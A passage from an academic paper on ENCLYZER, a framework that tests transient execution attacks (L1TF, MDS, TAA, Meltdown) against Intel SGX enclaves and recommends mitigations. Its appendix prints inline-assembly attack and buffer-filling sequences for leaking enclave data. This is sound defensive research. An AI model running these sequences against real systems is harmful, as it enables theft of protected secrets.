code for the filling and attack instruction sequences. Using low-
level programming languages allows precise control of instruction
execution and memory management. The compilation tool chain

is built on GCC, which supports allocation alignment and inline
assembly. For example, the attribute attribute ((aligned(4096)))
helps with the alignment of static allocation, similar to mmap() for the
alignment of dynamic allocation. Such allocation alignment stabilizes
the grooming effect over internal buffers through filling sequences.

There are two technical challenges faced by ENCLYZER: first,
tested machines could be scalable; second, tests typically take hours
and even days to finish. To improve the efficiency of the develop-
ment and deployment of ENCLYZER, we build an adaptive coding
infrastructure, which includes three techniques: Instant Notification,
Automatic synchronization, and Parallel Remote Commands.

Instant Notification. Instead of waiting for hours to obtain the
results, the user could receive automatic notifications sent to their In-
stant Messaging (IM) Apps. ENCLYZER is integrated with webhooks,
or callback URL that is supported by Slack, Github, and many other
apps, such that ENCLYZER can send messages to those apps.

Automatic Synchronization. When deployed to a large number of
machines, ENCLYZER relies on Syncthing [28] for continuous code
synchronization. Syncthing is an open-source software that supports
decentralized synchronization for unlimited number of devices.

Parallel Remote Commands. ENCLYZER integrates SSH connection
and experiment initialization commands with SSH command-line
scripts, which performs well when the procedures of setting up tests
are similar on different machines. It further reduces the time of
initiating tests.

VI. EVALUATION

A. Test Platforms

Our evaluation was performed on processors that support Intel®
HT Technology and Intel® SGX. Intel® TSX is additionally needed
for attack variants that require Intel® TSX to suppress the error.
Tested processors are listed in Table I, which includes Skylake
(launch date 2015), Kaby Lake (2018), and Coffee Lake (2019).
These machines were equipped with 4GB DRAM and 256GB SSD.

The operating system is Ubuntu 20.04 with a kernel version of
5.11. The version of Intel® SGX SDK is 2.14 [16]. The version of
the Intel® SGX Driver is the latest as of the time of writing [14].
SGX-software-enable [17] is built and executed on every machine in
case their BIOS does not by default enable Intel® SGX. The version
of the unit testing framework Criterion is 2.3.2 [25].

The mitigations boot parameter is set to off to turn off counter-
measures controlled by the Linux kernel. Given that many kernel
tasks run by default on core 0, the isolcpus is set to 1, 1+PHYSI-
CAL CORE NUMBER, 2, and 2+PHYSICAL CORE NUMBER, be-
cause such pairs contain both sibling threads when Intel® HT
Technology is enabled.

TABLE I
ESSENTIALS OF TESTED CPUS

Arch Name Model Name Lanch Date Physical Cores
Skylake e3-1535mv5 Q3’15 4
Skylake i5-6360u Q3’15 2
Kaby Lake i5-8365u Q2’19 4
Coffee Lake i9-8950hk Q2’18 6
Coffee Lake i7-9850h Q2’19 6

B. New Offset Controlling Technique

Offset controlling refers to the ability of specifying a specific byte
from a cache-line-sized chunk of the secret. Developing advanced



TABLE II
RESULTS OF TRANSIENT EXECUTION ATTACKS AGAINST INTEL® SGX

Attack Types Arch Names Model Names
Mircrocode Versions and Thread Settings 1 2

20180312 20190514a 20200616 20210608
ST CT CC ST CT CC ST CT CC ST CT CC

L1TF

Skylake
e3-1535mv5 - - - - - - 7 3 7 7 73 7

i5-6360u 3 3 7 7 3 7 7 3 7 7 73 7

Kaby Lake i5-8365u - - - - - - 7 7 7 7 7 7

Coffee Lake
i9-8950hk - - - - - - 7 7 7 7 7 7

i7-9850h - - - - - - 7 7 7 7 7 7

MDS

Skylake
e3-1535mv5 - - - - - - 7 3 7 7 73 7

i5-6360u 3 3 7 7 3 7 7 3 7 7 73 7

Kaby Lake i5-8365u - - - - - - 7 7 7 7 7 7

Coffee Lake
i9-8950hk - - - - - - 7 3 7 7 73 7

i7-9850h - - - - - - 7 7 7 7 7 7

TAA

Skylake
e3-1535mv5 - - - - - - 7 3 7 7 73 7

i5-6360u 3 3 7 7 3 7 7 3 7 7 73 7

Kaby Lake i5-8365u - - - - - - 7 7 7 7 7 7

Coffee Lake
i9-8950hk - - - - - - 7 7 7 7 7 7

i7-9850h - - - - - - 7 7 7 7 7 7

1 The first line below the cell enumerates microcode versions by their release date. For example, 20190514a is a microcode released
at May 14, 2019, and ”a” means a minor patch against its first version released at the same day.

2 The second line below the cell enumerates thread settings. ST, CT and CC are the abbreviation of ”Same Thread”, ”Cross
Thread” and ”Cross Core” respectively.

3 Crossmark (7) is the result under the default setting. It could be checkmark (3) if Intel® Transient Synchronization Extension
(Intel® TSX) is turned on by setting SDV ENABLE RTM to 1.

offset controlling techniques is not needed for Meltdown [42] and
Foreshadow [50], because offset controlling is their intrinsic property.
However, offset controlling is a non-trivial task for RIDL [54], as its
original paper reports that MDS [54] and TAA [54] can only reveal
the first 8 bytes (64 bits) of a cache-line-sized chunk [24] rather than
the full spectrum of the chunk. Offset controlling techniques of MDS
and TAA are then pushed forward by Cacheout [55]. By adding two
additional loading instructions at the end of the transaction section of
TAA attack, the leaked byte offset can be controlled by the attacker
to be any byte in the cache-line-sized chunk except the last 7 bytes
(See Listing 2 in Appendix). Cacheout made a guess that the root
cause of offset controlling is in later loading instructions being not
dependent on preceding loading instructions. They are thus possible
to be executed out-of-order, before its preceding loading instructions.
Though this is a reasonable guess, we empirically prove it irrelevant
to the real cause of offset controlling in the following experiments.

ENCLYZER finds that the offset controlling technique can be in fact
achieved with one single load instruction. We successfully optimized
the code snippet through three changes against the Cacheout version.
The reasoning of them is explained through experiments.

First of all, the two additional loading instructions at the end
of the transaction section are removed. Later loading instructions
seem to play a role that overrides the results of the preceding
loading instructions. We made such speculation through the following
experiments. First, if the number of later loading instructions in
Listing 2 is reduced to one, the offset controlling technique still has
rather high accuracy with no obvious downgrade compared to the
version with two later loading instructions. Second, if an additional
loading instruction with a different target offset is placed after the
two later loading instructions, the retrieved offset changes to the
last loading instruction. The later loading instructions’ property of
overriding gives us a hint that we could in fact solve the offset
controlling problem without additional loading instructions.

The Second change is to add an offset to the first loading

instruction. x86 address resolving, used by MOV(Q) instructions,
allows to add an additional index to the base target address. The
inspiration comes from the fact that in Listing 2, the preceding target
address in line 11 is cache-line-size-aligned (to 64 bytes on most
x86 machines), while the address in line 16 to control the secret
offset does not. We then empirically proved that the alignment of the
preceding target address is unnecessary.

Lastly, we change the load instruction from MOVQ to MOVZBQ.
If the first and second steps are applied, the offset control is found
able to reveal byte 0 to 56 of the secret, which achieves the same
result as the original Cacheout version. We discover that the failure
to steal the last 7 bytes comes from the wrong choice of loading
instructions, since MOVQ (loading 8 bytes) will cross the cache line
boundary when specifying one of the last 7 bytes as the target address.
After substituting MOVQ with MOVZBQ, which is a 1-byte loading
instruction that is zero-extended to 8 bytes, data at all byte offsets
(0 - 63) can be revealed with high accuracy. Such assertion could
be validated by filling each offset with a different value (e.g. offset i
with value i) and then retrieving them with MDS or TAA using our
new offset controlling technique.

C. Multi-threading Vulnerability of Intel® SGX

TABLE II demonstrates the result of all tested Transient Execution
Attacks against Intel® SGX over five factors: attack types, arch
names, model names, microcode versions, and thread settings.

Attack types include L1TF [50], MDS [54], [44], and TAA [54].
Cacheout (L1DES) [55] is not included because its attack is mostly
similar to MDS, while it additionally forces victim data to be in
the microarchitectural buffers by L1D eviction. LVI [51] is also not
included because the testing of LVI overlaps with other experiments.
The key insight of LVI is to exploit native filling sequence and
attacking sequence gadgets inside the victim enclave itself. The test
of known filling sequences and attacking sequences is covered by the
experiments to verify ENCLYZER implementation correctness. How to



find those gadgets is out of the scope of ENCLYZER. Pre-experiments
shows that Intel® SGX adopts more secure limitations than non-
enclave. For example, Intel® TSX is disabled in enclaves since
microcode patch 20190514a. Therefore, the existence of attacking
sequences in enclave applications should be no more than those
in non-enclave applications. Only MSBDS, a variant of MDS, is
reported feasible inside the enclave.

The architectures we tested include Skylake, Kaby Lake and Coffee
Lake, which are three consecutive generations of Intel processor
architecture. The tested models include e3-1535mv5, i5-6360u, i5-
8365u, i9-8959hk, and i7-9850h. Processors of Ice Lake and later
generations are not included because none of them satisfies the
requirements of supporting Intel® SGX, Intel® TSX, and Intel® HT
at the same time. The microcode versions enumerate from 20180312
to 20190514a, to 20200616, and to 20210608. ENCLYZER has tested
more microcode versions but only four of them are selected for
conciseness. 20180312 is selected because it is the oldest microcode
version we could find. 20190514a, 20200616, and 20210608 are
selected because security patches are introduced in these microcodes
according to Intel’s release notes and the interval of the release
of these microcode patches is about 1 year, making them a great
representative of all recent microcode patches. The thread settings
cover same thread (ST), cross thread (CT), and cross core (CC).
”Same Thread” means that the victim thread and attack thread is
placed on the same hyperthread (virtual core) of a physical core.
”Cross Thread” means that the victim thread and attack thread is
placed on two sibling hyperthreads (virtual cores) of a physical
core. ”Cross Core” means that the victim thread and attack thread
is placed on two separate physical cores. Note that all experiments
are performed on isolated CPU cores.

Three observations could be seen from TABLE II. First, attacks
from another physical core never succeed, regardless of microcode
versions, model names, arch names and attack types. We speculate
that the reason is the lack of cross-core leakage sources. ENCLYZER

focuses on Domain-Bypass Transient Execution Attacks, mounted
from attacker-owned code. Since all tested attacks rely on leakage
sources exclusive to one physical core (e.g. L1D cache and LFB),
no secrets could be found as they are not shared between the victim
and the attacker at all. Cross-Domain Transient Execution Attack,
however, are performed from the victim code itself and can possibly
be transmitted to an attacker on a different core via LLC cache side
channel. However, it is out-of-scope of ENCLYZER.

Second, attacks from the same hyperthread (virtual core) are valid
only in microcode version of 20180312, regardless of model names,
arch names and attack types. Mitigations against Transient Execution
Attacks on Intel® SGX were introduced starting from microcode
patch 20190514a. L1D cache and microarchitectural buffers are
wiped out during the context switch between the enclave and the
normal land, removing the known leakage sources.

Third, attacks from the sibling hyperthread (virtual core) are always
successful. Intel® TSX is by default disabled at the normal land
since microcode patch 20210608, preventing all types of attacks
in normal cases. However, an MSR switch is left to turn it back
on, dubbed SDV ENABLE RTM. As is permitted by the TEE threat
model, a malicious attacker with root privilege can easily modify
MSRs. When Intel® TSX is enabled, attacker code is allowed to run.
The leakage sources within the hardware core are still accessible to
cross-thread attackers. In the meanwhile, current mitigations against
Transient Execution Attacks only takes effect at context switches,
leaving enclaves guardless towards cross-thread Transient Execution
Attacks. Therefore, hyperthreading must be completely disabled in

BIOS settings when executing Intel® SGX enclaves for security. It
ensures that the attacker can only attempt same-thread or cross-core
attacks, which are unexploitable towards Intel® SGX enclaves as
long as the latest microcode patches are correctly applied.

VII. DISCUSSION

A. Problems with Countermeasure Deployment and Solutions

Simply downloading and installing the latest microcode with
security patches does not automatically shield Intel® SGX from
all Transient Execution Attacks. Extra attention in Security Con-
figurations [13] must be taken to make the execution environment
of enclaves more secure. ENCLYZER serves as an efficient tool for
validating such configurations by performing controlled penetration
tests on Intel® SGX enclaves in an automated and scalable manner.

The first problem we found is a deployment flaw of certain
countermeasures due to the TEE threat model. As Intel® SGX
considers a threat model in which the attackers may be privileged,
all countermeasures that can be turned off by the OS kernel are,
arguably, ineffective. For example, although Intel® TSX is by default
disabled since microcode patch 20210608 [15], the latest microcode
patch still leaves an option to turn it back on in root mode via MSR
IA32 TSX CTRL. The switch may be left available for legacy code
compatibility, but at the same time this may implicate additional
vulnerabilities. The most secure solution is to remove any software
control over countermeasures. Intel does provide another solution to
rely on attestation to determine whether required Security Configu-
rations are correctly set up at runtime.

The second problem, similarly, occurs because of the TEE threat
model. The adversary could schedule the attack thread to run on any
logical cores in the system. When the adversary runs simultaneously
on the sibling thread of the victim enclave, resources including
processor internal buffers are shared. Since many countermeasures
only flush the buffers at enclave entry/exit, they are not effective
under such circumstances. To solve the problem, Intel® SGX can
either be strengthened with the capability of temporarily disabling
its sibling thread or being able to perform dynamic examination of
whether the sibling thread is idle. It should only execute critical code
sections when free from interference from hyperthreading. Another
basic but effective option is to completely disable hyperthreading
in BIOS settings when the system wishes to execute Intel® SGX
enclaves. However, it may sacrifice performance.

Despite the two discovered flaws, ENCLYZER still verified that all
tested Domain-Bypass Transient Execution Attacks cannot exploit
Intel® SGX if the platform is correctly configured. First of all,
hyperthreading must be disabled in BIOS settings. Second, the latest
microcode with security patches must be installed. When hyper-
threading is disabled, attackers can only attempt same-thread or cross-
core exploitations. ENCLYZER proves that same-thread attacks are
successfully mitigated by latest microcode patch, even if some related
configurations like Intel® TSX can be changed by the adversary.
Cross-core attacks are found infeasible by ENCLYZER. These Security
Configurations and can be attested by Intel® SGX. Users are given
an opportunty to determine whether to trust the platform to deploy
Intel® SGX enclaves according to the attestation results.

B. Limitations and Future Directions

There are some limitations of ENCLYZER, which will be treated
as the directions of our future work.

The first limitation is that ENCLYZER does not investigate the
effect of various access control techniques, such as protection key,
user/supervisor bit, present bit, reserved bits, and so on. It is observed



through our experiments that the choice of access control techniques
impacts the effectiveness of Transient Execution Attacks. For ex-
ample, Foreshadow succeeds with the present bit cleared but fails
with the user/supervisor bit set, although they both trigger page fault
exceptions. We have not dug into these problems to compare their
distinctive effects on Transient Execution Attacks. Instead, we chose
one of the possibly most vulnerable access control techniques in our
Transient Execution Attack settings, so that ENCLYZER could validate
the countermeasures with the strongest attack implementation.

The second limitation is that ENCLYZER does not integrate with
fuzzing-based techniques [30], [33], [35], [37], [38], [41] to discover
new filling sequences and attacking sequences. The fuzzing technique
may help find stronger instruction sequences, but to search through
the huge space is technically challenging, and therefore it is left to
the future work.

The third limitation is explaining the exact roles of the different
affecting factors in Transient Execution Attacks. A possible approach
is to collect data of microarchitecutral events through Model Specific
Registers (MSRs) and Performance Monitor Counters (PMCs). De-
spite some useful data we collected in our early attempts, no decisive
clue is found. Given that MSRs and PMCs are not designed for
security purposes, it takes extra efforts to unveil the secrets.

VIII. CONCLUSION

This paper presents a software framework called ENCLYZER, to
examine Transient Execution Vulnerabilities on Intel® SGX and
to validate the effectiveness of corresponding hardware/microcode
countermeasures. The empirical evaluation of ENCLYZER suggests
that under the TEE threat model where attackers are privileged,
Transient Execution Attacks are still possible if the countermeasures
are not correctly configured. To ensure effectiveness of the mitigations
for Intel® SGX, (1) hyperthreading must be disabled, (2) the latest
microcode patch must be installed and (3) enclaves must verify these
security configurations through attestation.
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APPENDIX

A. Listings Derived from other Projects

1 void _do_skl_sse(char *dst, const __m128i *
zero_ptr)

2 {
3 __asm__ __volatile__ (
4 "lfence\n\t"
5 "orpd (%1), %%xmm0\n\t"
6 "orpd (%1), %%xmm0\n\t"
7 "xorl %%eax, %%eax\n\t"
8 "1:clflushopt 5376(%0,%%rax,8)\n\t"
9 "addl $8, %%eax\n\t"

10 "cmpl $8*12, %%eax\n\t"
11 "jb 1b\n\t"
12 "sfence\n\t"
13 "movl $6144, %%ecx\n\t"
14 "xorl %%eax, %%eax\n\t"
15 "rep stosb\n\t"
16 "mfence\n\t"
17 : "+D" (dst)
18 : "r" (zero_ptr)
19 : "eax", "ecx", "cc", "memory"
20 );
21 }

Listing 1. Software Sequence to Overwrite Buffers from Intel Deep Dive

1 ; %rdi = leak source
2 ; %rsi = FLUSH + RELOAD channel
3 ; %rcx = offset-control address
4 taa_sample:
5 ; Cause TSX to abort asynchronously.
6 clflush (%rdi)
7 clflush (%rsi)
8

9 ; Leak a single byte.
10 xbegin abort
11 movq (%rdi), %rax
12 shl $12, %rax
13 andq $0xff000, %rax
14 movq (%rax, %rsi), %rax
15

16 movq (%rcx), %rax
17 movq (%rcx), %rax
18 xend
19 abort:
20 retq

Listing 2. Offset Control Technique for TAA from Cacheout

B. Filling Sequences



1 asm volatile(
2 "movq %%rdx, %%r10\n"
3 "2:cmp $0, %%r10\n"
4 "je 1f\n"
5 "subq $8, %%r10\n"
6 "movq %%rsi, %%rax\n"
7 "movq $0x0101010101010101, %%r11\n"
8 "imul %%r11, %%rax\n"
9 "movq %%rax, (%%rdi)\n"

10 "addq $8, %%rdi\n"
11 "jmp 2b\n"
12 "1:"
13 : "+D"(rdi)
14 : "S"(rsi), "d"(rdx), "c"(rcx)
15 : "r10", "r11", "rax", "cc");

Listing 3. Controlling Line Fill Buffer with General Stores where Every Byte
Contains the Same Value

1 asm volatile(
2 "movq %%rdx, %%r10\n"
3 "2:cmp $0, %%r10\n"
4 "je 1f\n"
5 "subq $8, %%r10\n"
6 "movq %%rdi, %%rax\n"
7 "andq %%rcx, %%rax\n"
8 "addq %%rsi, %%rax\n"
9 "movq $0x0101010101010101, %%r11\n"

10 "imul %%r11, %%rax\n"
11 "movq $0x0706050403020100, %%r11\n"
12 "addq %%r11, %%rax\n"
13 "movq %%rax, (%%rdi)\n"
14 "addq $8, %%rdi\n"
15 "jmp 2b\n"
16 "1:"
17 : "+D"(rdi)
18 : "S"(rsi), "d"(rdx), "c"(rcx)
19 : "r10", "r11", "rax", "cc");

Listing 4. Controlling Line Fill Buffer with General Stores where Every Byte
Contains a Differnt Value from Other Bytes

C. Attack Sequences

1 asm volatile(
2 "movq %5, %%r8\n"
3 "movq %6, %%r9\n"
4 "tzcnt %%rcx, %%rcx\n"
5 "mfence\n"
6 "call 2f\n"
7 "movzbq (%%rdi, %%rsi), %%rax\n"
8 "shl %%cl, %%rax\n"
9 "movzbq (%%rax, %%rdx), %%rax\n"

10 "3: pause\n"
11 "jmp 3b\n"
12 "2:\n"
13 // "movabs $1f, %%rax\n"
14 "lea 0x34(%%rip), %%rax\n"
15 "imulq $1, %%rax, %%rax\n"
16 "imulq $1, %%rax, %%rax\n"
17 "imulq $1, %%rax, %%rax\n"
18 "imulq $1, %%rax, %%rax\n"
19 "imulq $1, %%rax, %%rax\n"
20 "imulq $1, %%rax, %%rax\n"
21 "imulq $1, %%rax, %%rax\n"
22 "imulq $1, %%rax, %%rax\n"
23 "imulq $1, %%rax, %%rax\n"
24 "imulq $1, %%rax, %%rax\n"
25 "imulq $1, %%rax, %%rax\n"
26 "imulq $1, %%rax, %%rax\n"
27 "mov %%eax, (%%rsp)\n"
28 "retq\n"
29 "1:\n"

30 : "=a"(rax), "+D"(rdi), "+S"(rsi), "+d"(
rdx), "+c"(rcx), "+r"(r8), "+r"(r9)

31 :
32 : "r8", "r9");

Listing 5. Meltdown through Indirect Jump Fallback via Return Stack Buffer
(RSB)

1 asm volatile(
2 "movq %5, %%r8\n"
3 "movq %6, %%r9\n"
4 "tzcnt %%rcx, %%rcx\n"
5 "mfence\n"
6 "xbegin 1f\n"
7 "movzbq (%%rdi, %%rsi), %%rax\n"
8 "shl %%cl, %%rax\n"
9 "movzbq (%%rax, %%rdx), %%rax\n"

10 "xend\n"
11 "1:\n"
12 : "=a"(rax), "+D"(rdi), "+S"(rsi), "+d"(

rdx), "+c"(rcx), "+r"(r8), "+r"(r9)
13 :
14 : "r8", "r9");

Listing 6. L1TF through Intel® TSX

1 asm volatile(
2 "movq %5, %%r8\n"
3 "movq %6, %%r9\n"
4 "tzcnt %%rcx, %%rcx\n"
5 "mfence\n"
6 "clflush (%%r8)\n"
7 "xbegin 1f\n"
8 "movzbq (%%rdi, %%rsi), %%rax\n"
9 "shl %%cl, %%rax\n"

10 "movzbq (%%rax, %%rdx), %%rax\n"
11 "xend\n"
12 "1:\n"
13 : "=a"(rax), "+D"(rdi), "+S"(rsi), "+d"(

rdx), "+c"(rcx), "+r"(r8), "+r"(r9)
14 :
15 : "r8", "r9");

Listing 7. MDS through Intel® TSX

1 asm volatile(
2 "movq %5, %%r8\n"
3 "movq %6, %%r9\n"
4 "tzcnt %%rcx, %%rcx\n"
5 "mfence\n"
6 "clflush (%%r8)\n"
7 "sfence\n"
8 "clflush (%%rdx)\n"
9 "xbegin 1f\n"

10 "movzbq (%%rdi, %%rsi), %%rax\n"
11 "shl %%cl, %%rax\n"
12 "movzbq (%%rax, %%rdx), %%rax\n"
13 "xend\n"
14 "1:\n"
15 : "=a"(rax), "+D"(rdi), "+S"(rsi), "+d"(

rdx), "+c"(rcx), "+r"(r8), "+r"(r9)
16 :
17 : "r8", "r9");

Listing 8. TAA through Intel® TSX


